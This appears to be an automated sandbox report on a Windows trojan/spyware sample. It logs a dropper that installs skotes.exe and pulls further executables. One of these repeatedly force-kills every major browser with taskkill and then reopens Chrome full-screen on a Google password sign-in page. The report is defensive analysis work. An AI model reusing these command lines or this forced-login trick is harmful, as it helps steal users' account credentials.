Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: String function: 00E60A30 appears 46 times
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: String function: 00E49CB3 appears 31 times

Source: xwZfYpo16i.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: xwZfYpo16i.exe	Static PE information: Section: ZLIB complexity 0.9982863589918256
Source: xwZfYpo16i.exe	Static PE information: Section: pdwvfcxw ZLIB complexity 0.9948791375488428
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982863589918256
Source: skotes.exe.0.dr	Static PE information: Section: pdwvfcxw ZLIB complexity 0.9948791375488428
Source: random[1].exe0.6.dr	Static PE information: Section: ZLIB complexity 0.9995165532178217
Source: random[1].exe0.6.dr	Static PE information: Section: wdneehld ZLIB complexity 0.9944067215043323
Source: 4db5303091.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9995165532178217
Source: 4db5303091.exe.6.dr	Static PE information: Section: wdneehld ZLIB complexity 0.9944067215043323

Source: num.exe, 00000016.00000000.2723183290.000000000065E000.00000002.00000001.01000000.0000000C.sdmp, num.exe, 00000016.00000002.2737087239.000000000065E000.00000002.00000001.01000000.0000000C.sdmp, num.exe, 00000029.00000000.2885267720.000000000065E000.00000002.00000001.01000000.0000000C.sdmp, num.exe, 00000029.00000002.2898365408.000000000065E000.00000002.00000001.01000000.0000000C.sdmp, num[1].exe.6.dr, num.exe.6.dr

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@174/15@45/12

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

Code function: 7_2_00EB37B5 GetLastError,FormatMessageW,

7_2_00EB37B5

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00EA10BF AdjustTokenPrivileges,CloseHandle,		7_2_00EA10BF
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00EA16C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		7_2_00EA16C3

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

Code function: 7_2_00EB51CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

7_2_00EB51CD

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

Code function: 7_2_00ECA67C CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

7_2_00ECA67C

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

Code function: 7_2_00EB648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize,

7_2_00EB648E

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

Code function: 7_2_00E442A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

7_2_00E442A2

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6760:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5260:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:652:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5308:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5848:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:320:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3552:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2616:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3660:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6168:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3836:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6332:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2504:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1476:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7112:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5996:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4028:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6844:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1896:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6148:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6828:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2408:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1244:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6516:120:WilError_03

Source: C:\Users\user\Desktop\xwZfYpo16i.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\xwZfYpo16i.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\xwZfYpo16i.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: xwZfYpo16i.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 4db5303091.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 4db5303091.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\xwZfYpo16i.exe

File read: C:\Users\user\Desktop\xwZfYpo16i.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\xwZfYpo16i.exe "C:\Users\user\Desktop\xwZfYpo16i.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe "C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe"
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000336001\num.exe "C:\Users\user\AppData\Local\Temp\1000336001\num.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5612 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5548 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe "C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe "C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe"
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5172 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1876 --field-trial-handle=2016,i,9763649198199615889,4058380472595766421,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000336001\num.exe "C:\Users\user\AppData\Local\Temp\1000336001\num.exe"
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=2456 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=2004,i,8592830290365317448,7467397625344037838,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe "C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe"
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=2456 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=2056,i,1132564284520540060,11615293102951086546,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe "C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe"
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5364 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5528 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8
